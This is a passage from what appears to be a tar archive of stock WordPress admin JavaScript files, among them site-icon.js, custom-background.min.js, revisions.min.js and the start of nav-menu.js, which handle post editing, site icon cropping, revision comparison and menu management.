changes.")),h.a11y.speak(h.i18n.__("Error while saving the changes.")))},"html"),!1},revert:function(){var t=u(".widefat"),e=u(".inline-editor",t).attr("id");return e&&(u(".spinner",t).removeClass("is-active"),("bulk-edit"===e?(u("#bulk-edit",t).removeClass("inline-editor").hide().siblings(".hidden").remove(),u("#bulk-titles").empty(),u("#inlineedit").append(u("#bulk-edit")),u("#"+inlineEditPost.whichBulkButtonId)):(u("#"+e).siblings("tr.hidden").addBack().remove(),e=e.substr(e.lastIndexOf("-")+1),u(this.what+e).show().find(".editinline").attr("aria-expanded","false"))).trigger("focus")),!1},getId:function(t){t=u(t).closest("tr").attr("id").split("-");return t[t.length-1]}},u(function(){inlineEditPost.init()}),u(function(){void 0!==h&&h.heartbeat&&h.heartbeat.interval(10)}).on("heartbeat-tick.wp-check-locked-posts",function(t,e){var n=e["wp-check-locked-posts"]||{},a="wp-locked";u("#the-list tr").each(function(t,e){var i=e.id,e=u(e);n.hasOwnProperty(i)?e.hasClass(a)||(i=n[i],e.find(".column-title .locked-text").text(i.text),e.find(".check-column checkbox").prop("checked",!1),i.avatar_src&&(i=u("<img />",{class:"avatar avatar-18 photo",width:18,height:18,alt:"",src:i.avatar_src,srcset:i.avatar_src_2x?i.avatar_src_2x+" 2x":void 0}),e.find(".column-title .locked-avatar").empty().append(i)),e.addClass(a)):e.hasClass(a)&&e.removeClass(a).find(".locked-info span").empty()})}).on("heartbeat-send.wp-check-locked-posts",function(t,e){var i=[];u("#the-list tr").each(function(t,e){e.id&&i.push(e.id)}),i.length&&(e["wp-check-locked-posts"]=i)})}(jQuery,window.wp); js/site-icon.js 0000644 00000014143 15233246127 0007420 0 ustar 00 /** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery ); js/custom-background.min.js 0000644 00000002266 15233246127 0011742 0 ustar 00 /*! This file is auto-generated */ !function(e){e(function(){var c,a=e("#custom-background-image");e("#background-color").wpColorPicker({change:function(n,o){a.css("background-color",o.color.toString())},clear:function(){a.css("background-color","")}}),e('select[name="background-size"]').on("change",function(){a.css("background-size",e(this).val())}),e('input[name="background-position"]').on("change",function(){a.css("background-position",e(this).val())}),e('input[name="background-repeat"]').on("change",function(){a.css("background-repeat",e(this).is(":checked")?"repeat":"no-repeat")}),e('input[name="background-attachment"]').on("change",function(){a.css("background-attachment",e(this).is(":checked")?"scroll":"fixed")}),e("#choose-from-library-link").on("click",function(n){var o=e(this);n.preventDefault(),c||(c=wp.media.frames.customBackground=wp.media({title:o.data("choose"),library:{type:"image"},button:{text:o.data("update"),close:!1}})).on("select",function(){var n=c.state().get("selection").first(),o=e("#_wpnonce").val()||"";e.post(ajaxurl,{action:"set-background-image",attachment_id:n.id,_ajax_nonce:o,size:"full"}).done(function(){window.location.reload()})}),c.open()})})}(jQuery); js/revisions.min.js 0000644 00000043741 15233246127 0010337 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(a){var s=wp.revisions={model:{},view:{},controller:{}};s.settings=window._wpRevisionsSettings||{},s.debug=!1,s.log=function(){window.console&&s.debug&&window.console.log.apply(window.console,arguments)},a.fn.allOffsets=function(){var e=this.offset()||{top:0,left:0},i=a(window);return _.extend(e,{right:i.width()-e.left-this.outerWidth(),bottom:i.height()-e.top-this.outerHeight()})},a.fn.allPositions=function(){var e=this.position()||{top:0,left:0},i=this.parent();return _.extend(e,{right:i.outerWidth()-e.left-this.outerWidth(),bottom:i.outerHeight()-e.top-this.outerHeight()})},s.model.Slider=Backbone.Model.extend({defaults:{value:null,values:null,min:0,max:1,step:1,range:!1,compareTwoMode:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.listenTo(this.frame,"update:revisions",this.receiveRevisions),this.listenTo(this.frame,"change:compareTwoMode",this.updateMode),this.on("change:from",this.handleLocalChanges),this.on("change:to",this.handleLocalChanges),this.on("change:compareTwoMode",this.updateSliderSettings),this.on("update:revisions",this.updateSliderSettings),this.on("change:hoveredRevision",this.hoverRevision),this.set({max:this.revisions.length-1,compareTwoMode:this.frame.get("compareTwoMode"),from:this.frame.get("from"),to:this.frame.get("to")}),this.updateSliderSettings()},getSliderValue:function(e,i){return isRtl?this.revisions.length-this.revisions.indexOf(this.get(e))-1:this.revisions.indexOf(this.get(i))},updateSliderSettings:function(){this.get("compareTwoMode")?this.set({values:[this.getSliderValue("to","from"),this.getSliderValue("from","to")],value:null,range:!0}):this.set({value:this.getSliderValue("to","to"),values:null,range:!1}),this.trigger("update:slider")},hoverRevision:function(e,i){this.trigger("hovered:revision",i)},updateMode:function(e,i){this.set({compareTwoMode:i})},handleLocalChanges:function(){this.frame.set({from:this.get("from"),to:this.get("to")})},receiveRevisions:function(e,i){this.get("from")===e&&this.get("to")===i||(this.set({from:e,to:i},{silent:!0}),this.trigger("update:revisions",e,i))}}),s.model.Tooltip=Backbone.Model.extend({defaults:{revision:null,offset:{},hovering:!1,scrubbing:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.slider=e.slider,this.listenTo(this.slider,"hovered:revision",this.updateRevision),this.listenTo(this.slider,"change:hovering",this.setHovering),this.listenTo(this.slider,"change:scrubbing",this.setScrubbing)},updateRevision:function(e){this.set({revision:e})},setHovering:function(e,i){this.set({hovering:i})},setScrubbing:function(e,i){this.set({scrubbing:i})}}),s.model.Revision=Backbone.Model.extend({}),s.model.Revisions=Backbone.Collection.extend({model:s.model.Revision,initialize:function(){_.bindAll(this,"next","prev")},next:function(e){e=this.indexOf(e);if(-1!==e&&e!==this.length-1)return this.at(e+1)},prev:function(e){e=this.indexOf(e);if(-1!==e&&0!==e)return this.at(e-1)}}),s.model.Field=Backbone.Model.extend({}),s.model.Fields=Backbone.Collection.extend({model:s.model.Field}),s.model.Diff=Backbone.Model.extend({initialize:function(){var e=this.get("fields");this.unset("fields"),this.fields=new s.model.Fields(e)}}),s.model.Diffs=Backbone.Collection.extend({initialize:function(e,i){_.bindAll(this,"getClosestUnloaded"),this.loadAll=_.once(this._loadAll),this.revisions=i.revisions,this.postId=i.postId,this.requests={}},model:s.model.Diff,ensure:function(e,i){var t=this.get(e),s=this.requests[e],o=a.Deferred(),n={},r=e.split(":")[0],l=e.split(":")[1];return n[e]=!0,wp.revisions.log("ensure",e),this.trigger("ensure",n,r,l,o.promise()),t?o.resolveWith(i,[t]):(this.trigger("ensure:load",n,r,l,o.promise()),_.each(n,_.bind(function(e){this.requests[e]&&delete n[e],this.get(e)&&delete n[e]},this)),s||(n[e]=!0,s=this.load(_.keys(n))),s.done(_.bind(function(){o.resolveWith(i,[this.get(e)])},this)).fail(_.bind(function(){o.reject()}))),o.promise()},getClosestUnloaded:function(e,i){var t=this;return _.chain([0].concat(e)).initial().zip(e).sortBy(function(e){return Math.abs(i-e[1])}).map(function(e){return e.join(":")}).filter(function(e){return _.isUndefined(t.get(e))&&!t.requests[e]}).value()},_loadAll:function(e,i,t){var s=this,o=a.Deferred(),n=_.first(this.getClosestUnloaded(e,i),t);return 0<_.size(n)?this.load(n).done(function(){s._loadAll(e,i,t).done(function(){o.resolve()})}).fail(function(){1===t?o.reject():s._loadAll(e,i,Math.ceil(t/2)).done(function(){o.resolve()})}):o.resolve(),o},load:function(e){return wp.revisions.log("load",e),this.fetch({data:{compare:e},remove:!1}).done(function(){wp.revisions.log("load:complete",e)})},sync:function(e,i,t){var s,o;return"read"===e?((t=t||{}).context=this,t.data=_.extend(t.data||{},{action:"get-revision-diffs",post_id:this.postId}),s=wp.ajax.send(t),o=this.requests,t.data.compare&&_.each(t.data.compare,function(e){o[e]=s}),s.always(function(){t.data.compare&&_.each(t.data.compare,function(e){delete o[e]})}),s):Backbone.Model.prototype.sync.apply(this,arguments)}}),s.model.FrameState=Backbone.Model.extend({defaults:{loading:!1,error:!1,compareTwoMode:!1},initialize:function(e,i){var t=this.get("initialDiffState");_.bindAll(this,"receiveDiff"),this._debouncedEnsureDiff=_.debounce(this._ensureDiff,200),this.revisions=i.revisions,this.diffs=new s.model.Diffs([],{revisions:this.revisions,postId:this.get("postId")}),this.diffs.set(this.get("diffData")),this.listenTo(this,"change:from",this.changeRevisionHandler),this.listenTo(this,"change:to",this.changeRevisionHandler),this.listenTo(this,"change:compareTwoMode",this.changeMode),this.listenTo(this,"update:revisions",this.updatedRevisions),this.listenTo(this.diffs,"ensure:load",this.updateLoadingStatus),this.listenTo(this,"update:diff",this.updateLoadingStatus),this.set({to:this.revisions.get(t.to),from:this.revisions.get(t.from),compareTwoMode:t.compareTwoMode}),window.history&&window.history.pushState&&(this.router=new s.Router({model:this}),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({pushState:!0}))},updateLoadingStatus:function(){this.set("error",!1),this.set("loading",!this.diff())},changeMode:function(e,i){var t=this.revisions.indexOf(this.get("to"));i&&0===t&&this.set({from:this.revisions.at(t),to:this.revisions.at(t+1)}),i||0===t||this.set({from:this.revisions.at(t-1),to:this.revisions.at(t)})},updatedRevisions:function(e,i){this.get("compareTwoMode")||this.diffs.loadAll(this.revisions.pluck("id"),i.id,40)},diff:function(){return this.diffs.get(this._diffId)},updateDiff:function(e){var i,t,s;return e=e||{},s=this.get("from"),i=this.get("to"),t=(s?s.id:0)+":"+i.id,this._diffId===t?a.Deferred().reject().promise():(this._diffId=t,this.trigger("update:revisions",s,i),(s=this.diffs.get(t))?(this.receiveDiff(s),a.Deferred().resolve().promise()):e.immediate?this._ensureDiff():(this._debouncedEnsureDiff(),a.Deferred().reject().promise()))},changeRevisionHandler:function(){this.updateDiff()},receiveDiff:function(e){_.isUndefined(e)||_.isUndefined(e.id)?this.set({loading:!1,error:!0}):this._diffId===e.id&&this.trigger("update:diff",e)},_ensureDiff:function(){return this.diffs.ensure(this._diffId,this).always(this.receiveDiff)}}),s.view.Frame=wp.Backbone.View.extend({className:"revisions",template:wp.template("revisions-frame"),initialize:function(){this.listenTo(this.model,"update:diff",this.renderDiff),this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode),this.listenTo(this.model,"change:loading",this.updateLoadingStatus),this.listenTo(this.model,"change:error",this.updateErrorStatus),this.views.set(".revisions-control-frame",new s.view.Controls({model:this.model}))},render:function(){return wp.Backbone.View.prototype.render.apply(this,arguments),a("html").css("overflow-y","scroll"),a("#wpbody-content .wrap").append(this.el),this.updateCompareTwoMode(),this.renderDiff(this.model.diff()),this.views.ready(),this},renderDiff:function(e){this.views.set(".revisions-diff-frame",new s.view.Diff({model:e}))},updateLoadingStatus:function(){this.$el.toggleClass("loading",this.model.get("loading"))},updateErrorStatus:function(){this.$el.toggleClass("diff-error",this.model.get("error"))},updateCompareTwoMode:function(){this.$el.toggleClass("comparing-two-revisions",this.model.get("compareTwoMode"))}}),s.view.Controls=wp.Backbone.View.extend({className:"revisions-controls",initialize:function(){_.bindAll(this,"setWidth"),this.views.add(new s.view.Checkbox({model:this.model})),this.views.add(new s.view.Buttons({model:this.model}));var e=new s.model.Slider({frame:this.model,revisions:this.model.revisions}),i=new s.model.Tooltip({frame:this.model,revisions:this.model.revisions,slider:e});this.views.add(new s.view.Tooltip({model:i})),this.views.add(new s.view.Tickmarks({model:i})),this.views.add(new s.view.SliderHelp),this.views.add(new s.view.Slider({model:e})),this.views.add(new s.view.Metabox({model:this.model}))},ready:function(){this.top=this.$el.offset().top,this.window=a(window),this.window.on("scroll.wp.revisions",{controls:this},function(e){var e=e.data.controls,i=e.$el.parent(),t=e.window.scrollTop(),s=e.views.parent;t>=e.top?(s.$el.hasClass("pinned")||(e.setWidth(),i.css("height",i.height()+"px"),e.window.on("resize.wp.revisions.pinning click.wp.revisions.pinning",{controls:e},function(e){e.data.controls.setWidth()})),s.$el.addClass("pinned")):(s.$el.hasClass("pinned")&&(e.window.off(".wp.revisions.pinning"),e.$el.css("width","auto"),s.$el.removeClass("pinned"),i.css("height","auto")),e.top=e.$el.offset().top)})},setWidth:function(){this.$el.css("width",this.$el.parent().width()+"px")}}),s.view.Tickmarks=wp.Backbone.View.extend({className:"revisions-tickmarks",direction:isRtl?"right":"left",initialize:function(){this.listenTo(this.model,"change:revision",this.reportTickPosition)},reportTickPosition:function(e,i){var t,i=this.model.revisions.indexOf(i),s=this.$el.allOffsets(),o=this.$el.parent().allOffsets();i===this.model.revisions.length-1?t={rightPlusWidth:s.left-o.left+1,leftPlusWidth:s.right-o.right+1}:(t=(i=this.$("div:nth-of-type("+(i+1)+")")).allPositions(),_.extend(t,{left:t.left+s.left-o.left,right:t.right+s.right-o.right}),_.extend(t,{leftPlusWidth:t.left+i.outerWidth(),rightPlusWidth:t.right+i.outerWidth()})),this.model.set({offset:t})},ready:function(){var e=this.model.revisions.length-1,i=1/e;this.$el.css("width",50*this.model.revisions.length+"px"),_(e).times(function(e){this.$el.append('<div style="'+this.direction+": "+100*i*e+'%"></div>')},this)}}),s.view.Metabox=wp.Backbone.View.extend({className:"revisions-meta",initialize:function(){this.views.add(new s.view.MetaFrom({model:this.model,className:"diff-meta diff-meta-from"})),this.views.add(new s.view.MetaTo({model:this.model}))}}),s.view.Meta=wp.Backbone.View.extend({template:wp.template("revisions-meta"),events:{"click .restore-revision":"restoreRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.render)},prepare:function(){return _.extend(this.model.toJSON()[this.type]||{},{type:this.type})},restoreRevision:function(){document.location=this.model.get("to").attributes.restoreUrl}}),s.view.MetaFrom=s.view.Meta.extend({className:"diff-meta diff-meta-from",type:"from"}),s.view.MetaTo=s.view.Meta.extend({className:"diff-meta diff-meta-to",type:"to"}),s.view.Checkbox=wp.Backbone.View.extend({className:"revisions-checkbox",template:wp.template("revisions-checkbox"),events:{"click .compare-two-revisions":"compareTwoToggle"},initialize:function(){this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode)},ready:function(){this.model.revisions.length<3&&a(".revision-toggle-compare-mode").hide()},updateCompareTwoMode:function(){this.$(".compare-two-revisions").prop("checked",this.model.get("compareTwoMode"))},compareTwoToggle:function(){this.model.set({compareTwoMode:a(".compare-two-revisions").prop("checked")})}}),s.view.SliderHelp=wp.Backbone.View.extend({className:"revisions-slider-hidden-help",template:wp.template("revisions-slider-hidden-help")}),s.view.Tooltip=wp.Backbone.View.extend({className:"revisions-tooltip",template:wp.template("revisions-meta"),initialize:function(){this.listenTo(this.model,"change:offset",this.render),this.listenTo(this.model,"change:hovering",this.toggleVisibility),this.listenTo(this.model,"change:scrubbing",this.toggleVisibility)},prepare:function(){if(!_.isNull(this.model.get("revision")))return _.extend({type:"tooltip"},{attributes:this.model.get("revision").toJSON()})},render:function(){var e,i={},t=.5<(this.model.revisions.indexOf(this.model.get("revision"))+1)/this.model.revisions.length,s=isRtl?(e=t?"left":"right",t?"leftPlusWidth":e):(e=t?"right":"left",t?"rightPlusWidth":e),o="right"===e?"left":"right";wp.Backbone.View.prototype.render.apply(this,arguments),i[e]=this.model.get("offset")[s]+"px",i[o]="",this.$el.toggleClass("flipped",t).css(i)},visible:function(){return this.model.get("scrubbing")||this.model.get("hovering")},toggleVisibility:function(){this.visible()?this.$el.stop().show().fadeTo(100-100*this.el.style.opacity,1):this.$el.stop().fadeTo(300*this.el.style.opacity,0,function(){a(this).hide()})}}),s.view.Buttons=wp.Backbone.View.extend({className:"revisions-buttons",template:wp.template("revisions-buttons"),events:{"click .revisions-next .button":"nextRevision","click .revisions-previous .button":"previousRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.disabledButtonCheck)},ready:function(){this.disabledButtonCheck()},gotoModel:function(e){var i={to:this.model.revisions.at(e)};e?i.from=this.model.revisions.at(e-1):this.model.unset("from",{silent:!0}),this.model.set(i)},nextRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))+1;this.gotoModel(e)},previousRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))-1;this.gotoModel(e)},disabledButtonCheck:function(){var e=this.model.revisions.length-1,i=a(".revisions-next .button"),t=a(".revisions-previous .button"),s=this.model.revisions.indexOf(this.model.get("to"));i.prop("disabled",e===s),t.prop("disabled",0===s)}}),s.view.Slider=wp.Backbone.View.extend({className:"wp-slider",direction:isRtl?"right":"left",events:{mousemove:"mouseMove"},initialize:function(){_.bindAll(this,"start","slide","stop","mouseMove","mouseEnter","mouseLeave"),this.listenTo(this.model,"update:slider",this.applySliderSettings)},ready:function(){this.$el.css("width",50*this.model.revisions.length+"px"),this.$el.slider(_.extend(this.model.toJSON(),{start:this.start,slide:this.slide,stop:this.stop})),this.$el.hoverIntent({over:this.mouseEnter,out:this.mouseLeave,timeout:800}),this.applySliderSettings()},accessibilityHelper:function(){var e=a(".ui-slider-handle");e.first().attr({role:"button","aria-labelledby":"diff-title-from diff-title-author","aria-describedby":"revisions-slider-hidden-help"}),e.last().attr({role:"button","aria-labelledby":"diff-title-to diff-title-author","aria-describedby":"revisions-slider-hidden-help"})},mouseMove:function(e){var i=this.model.revisions.length-1,t=this.$el.allOffsets()[this.direction],i=this.$el.width()/i,e=(isRtl?a(window).width()-e.pageX:e.pageX)-t,t=Math.floor((e+i/2)/i);t<0?t=0:t>=this.model.revisions.length&&(t=this.model.revisions.length-1),this.model.set({hoveredRevision:this.model.revisions.at(t)})},mouseLeave:function(){this.model.set({hovering:!1})},mouseEnter:function(){this.model.set({hovering:!0})},applySliderSettings:function(){this.$el.slider(_.pick(this.model.toJSON(),"value","values","range"));var e=this.$("a.ui-slider-handle");this.model.get("compareTwoMode")?(e.first().toggleClass("to-handle",!!isRtl).toggleClass("from-handle",!isRtl),e.last().toggleClass("from-handle",!!isRtl).toggleClass("to-handle",!isRtl)):e.removeClass("from-handle to-handle"),this.accessibilityHelper()},start:function(e,d){this.model.set({scrubbing:!0}),a(window).on("mousemove.wp.revisions",{view:this},function(e){var i=e.data.view,t=i.$el.offset().left,s=t,o=t+i.$el.width(),n="0",r="100%",l=a(d.handle);i.model.get("compareTwoMode")&&(i=l.parent().find(".ui-slider-handle"),l.is(i.first())?r=(o=i.last().offset().left)-s:n=(t=i.first().offset().left+i.first().width())-s),e.pageX<t?l.css("left",n):e.pageX>o?l.css("left",r):l.css("left",e.pageX-s)})},getPosition:function(e){return isRtl?this.model.revisions.length-e-1:e},slide:function(e,i){var t;if(this.model.get("compareTwoMode")){if(i.values[1]===i.values[0])return!1;isRtl&&i.values.reverse(),t={from:this.model.revisions.at(this.getPosition(i.values[0])),to:this.model.revisions.at(this.getPosition(i.values[1]))}}else t={to:this.model.revisions.at(this.getPosition(i.value))},0<this.getPosition(i.value)?t.from=this.model.revisions.at(this.getPosition(i.value)-1):t.from=void 0;i=this.model.revisions.at(this.getPosition(i.value)),this.model.get("scrubbing")&&(t.hoveredRevision=i),this.model.set(t)},stop:function(){a(window).off("mousemove.wp.revisions"),this.model.updateSliderSettings(),this.model.set({scrubbing:!1})}}),s.view.Diff=wp.Backbone.View.extend({className:"revisions-diff",template:wp.template("revisions-diff"),prepare:function(){return _.extend({fields:this.model.fields.toJSON()},this.options)}}),s.Router=Backbone.Router.extend({initialize:function(e){this.model=e.model,this.listenTo(this.model,"update:diff",_.debounce(this.updateUrl,250)),this.listenTo(this.model,"change:compareTwoMode",this.updateUrl)},baseUrl:function(e){return this.model.get("baseUrl")+e},updateUrl:function(){var e=this.model.has("from")?this.model.get("from").id:0,i=this.model.get("to").id;this.model.get("compareTwoMode")?this.navigate(this.baseUrl("?from="+e+"&to="+i),{replace:!0}):this.navigate(this.baseUrl("?revision="+i),{replace:!0})},handleRoute:function(e,i){_.isUndefined(i)||(i=this.model.revisions.get(e),e=this.model.revisions.prev(i),i=i?i.id:0,e&&e.id)}}),s.init=function(){var e;window.adminpage&&"revision-php"===window.adminpage&&(e=new s.model.FrameState({initialDiffState:{to:parseInt(s.settings.to,10),from:parseInt(s.settings.from,10),compareTwoMode:"1"===s.settings.compareTwoMode},diffData:s.settings.diffData,baseUrl:s.settings.baseUrl,postId:parseInt(s.settings.postId,10)},{revisions:new s.model.Revisions(s.settings.revisionData)}),s.view.frame=new s.view.Frame({model:e}).render())},a(s.init)}(jQuery); js/nav-menu.js 0000644 00000172231 15233246127 0007257 0 ustar 00 /** * WordPress Administration Navigation Menu * Interface JS functions * * @version 2.0.0 * * @package WordPress * @subpackage Administration * @output wp-admin/js/nav-menu.js */ /* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */ (function($) { var api; /** * Contains all the functions to handle WordPress navigation menus administration. * * @namespace wpNavMenu */ api = window.wpNavMenu = { options : { menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead. globalMaxDepth: 11, sortableItems: '> *', targetTolerance: 0 }, menuList : undefined, // Set in init. targetList : undefined, // Set in init. menusChanged : false, isRTL: !! ( 'undefined' != typeof isRtl && isRtl ), negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1, lastSearch: '', // Functions that run on init. init : function() { api.menuList = $('#menu-to-edit'); api.targetList = api.menuList; this.jQueryExtensions(); this.attachMenuEditListeners(); this.attachBulkSelectButtonListeners(); this.attachMenuCheckBoxListeners(); this.attachMenuItemDeleteButton(); this.attachPendingMenuItemsListForDeletion(); this.attachQuickSearchListeners(); this.attachThemeLocationsListeners(); this.attachMenuSaveSubmitListeners(); this.attachTabsPanelListeners(); this.attachUnsavedChangesListener(); if ( api.menuList.length ) this.initSortables(); if ( menus.oneThemeLocationNoMenus ) $( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom ); this.initManageLocations(); this.initAccessibility(); this.initToggles(); this.initPreviewing(); }, jQueryExtensions : function() { // jQuery extensions. $.fn.extend({ menuItemDepth : function() { var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left'); return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 ); }, updateDepthClass : function(current, prev) { return this.each(function(){ var t = $(this); prev = prev || t.menuItemDepth(); $(this).removeClass('menu-item-depth-'+ prev ) .addClass('menu-item-depth-'+ current ); }); }, shiftDepthClass : function(change) { return this.each(function(){ var t = $(this), depth = t.menuItemDepth(), newDepth = depth + change; t.removeClass( 'menu-item-depth-'+ depth ) .addClass( 'menu-item-depth-'+ ( newDepth ) ); if ( 0 === newDepth ) { t.find( '.is-submenu' ).hide(); } }); }, childMenuItems : function() { var result = $(); this.each(function(){ var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' ); while( next.length && next.menuItemDepth() > depth ) { result = result.add( next ); next = next.next( '.menu-item' ); } }); return result; }, shiftHorizontally : function( dir ) { return this.each(function(){ var t = $(this), depth = t.menuItemDepth(), newDepth = depth + dir; // Change .menu-item-depth-n class. t.moveHorizontally( newDepth, depth ); }); }, moveHorizontally : function( newDepth, depth ) { return this.each(function(){ var t = $(this), children = t.childMenuItems(), diff = newDepth - depth, subItemText = t.find('.is-submenu'); // Change .menu-item-depth-n class. t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId(); // If it has children, move those too. if ( children ) { children.each(function() { var t = $(this), thisDepth = t.menuItemDepth(), newDepth = thisDepth + diff; t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId(); }); } // Show "Sub item" helper text. if (0 === newDepth) subItemText.hide(); else subItemText.show(); }); }, updateParentMenuItemDBId : function() { return this.each(function(){ var item = $(this), input = item.find( '.menu-item-data-parent-id' ), depth = parseInt( item.menuItemDepth(), 10 ), parentDepth = depth - 1, parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first(); if ( 0 === depth ) { // Item is on the top level, has no parent. input.val(0); } else { // Find the parent item, and retrieve its object id. input.val( parent.find( '.menu-item-data-db-id' ).val() ); } }); }, hideAdvancedMenuItemFields : function() { return this.each(function(){ var that = $(this); $('.hide-column-tog').not(':checked').each(function(){ that.find('.field-' + $(this).val() ).addClass('hidden-field'); }); }); }, /** * Adds selected menu items to the menu. * * @ignore * * @param jQuery metabox The metabox jQuery object. */ addSelectedToMenu : function(processMethod) { if ( 0 === $('#menu-to-edit').length ) { return false; } return this.each(function() { var t = $(this), menuItems = {}, checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ), re = /menu-item\[([^\]]*)/; processMethod = processMethod || api.addMenuItemToBottom; // If no items are checked, bail. if ( !checkboxes.length ) return false; // Show the Ajax spinner. t.find( '.button-controls .spinner' ).addClass( 'is-active' ); // Retrieve menu item data. $(checkboxes).each(function(){ var t = $(this), listItemDBIDMatch = re.exec( t.attr('name') ), listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10); if ( this.className && -1 != this.className.indexOf('add-to-top') ) processMethod = api.addMenuItemToTop; menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID ); }); // Add the items. api.addItemToMenu(menuItems, processMethod, function(){ // Deselect the items and hide the Ajax spinner. checkboxes.prop( 'checked', false ); t.find( '.button-controls .select-all' ).prop( 'checked', false ); t.find( '.button-controls .spinner' 